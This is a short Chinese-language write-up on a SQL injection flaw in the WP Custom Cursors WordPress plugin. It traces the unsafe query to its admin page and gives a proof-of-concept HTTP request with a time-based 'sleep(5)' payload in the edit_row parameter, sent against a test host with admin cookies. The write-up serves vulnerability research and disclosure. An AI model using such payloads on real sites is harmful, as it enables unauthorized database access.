
WP Custom Cursors 是一个 WordPress 插件,用于为您的网站创建自定义光标。您可以创建 3 种光标类型。形状光标、图像光标和圆形文本光标。还有多个预定义的悬停光标可用。
安装完插件后,我们尝试找出其中存在的漏洞
我们总结出关于 wordpress 自带的不安全的 sql 查询的关键词
$wpdb->query()
$wpdb->get_var()
$wpdb->get_row()
$wpdb->get_col()
$wpdb->get_results()
$wpdb->replace()
我们在插件目录下进行查询

一一定位查看,最终仅仅发现一出有可能存在漏洞的位置

发现可能存在漏洞的风险点,我们要想办法触发这个漏洞
代码在文件 wp-custom-cursors-add-new.php
中

我们全局搜索字符串 wp-custom-cursors-add-new.php

wp-content/plugins/wp-custom-cursors/admin/class-wp-custom-cursors-admin.php

\Wp_custom_cursors_Admin::wp_custom_cursors_add_admin_menu

add_submenu_page( 'wp_custom_cursors', esc_html__( 'Add New', 'wp-custom-cusors' ), esc_html__( 'Add New', 'wp-custom-cusors' ), 'manage_options', 'wpcc_add_new', 'add_new_display_func' );
所以我们登录后台,构造数据包 就可以触发到该处代码
GET /wp-admin/admin.php?page=wpcc_add_new&edit_row=(sleep(5)) HTTP/1.1
Host: wordpress.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://wordpress.test/wp-admin/admin.php?page=wp_custom_cursors
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_b60eaabcb48d166363619b49c0311df0=admin%7C1693639291%7CRQXGyfIA3Lfr1AuZqFeh5evALk6UjY3L9GW7vMIhMz5%7Ce21a989f26b4d3299c00adebbedd3e744e852e7a8e61d5915f0548ca48ae01cc; wordpress_test_cookie=WP+Cookie+check; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce%26mfold%3Do; wp-settings-time-1=1693276904; tk_ai=woo%3AO5PjapqxyYbqS9W4ECuuo%2BUc; wordpress_logged_in_b60eaabcb48d166363619b49c0311df0=admin%7C1693639291%7CRQXGyfIA3Lfr1AuZqFeh5evALk6UjY3L9GW7vMIhMz5%7C0e84e0ed0f0916df09269d2a6d1f4697153260929cce2e86f078a24dfa0a6be3;XDEBUG_SESSION=PHPSTORM
Connection: close

成功使得服务器沉睡
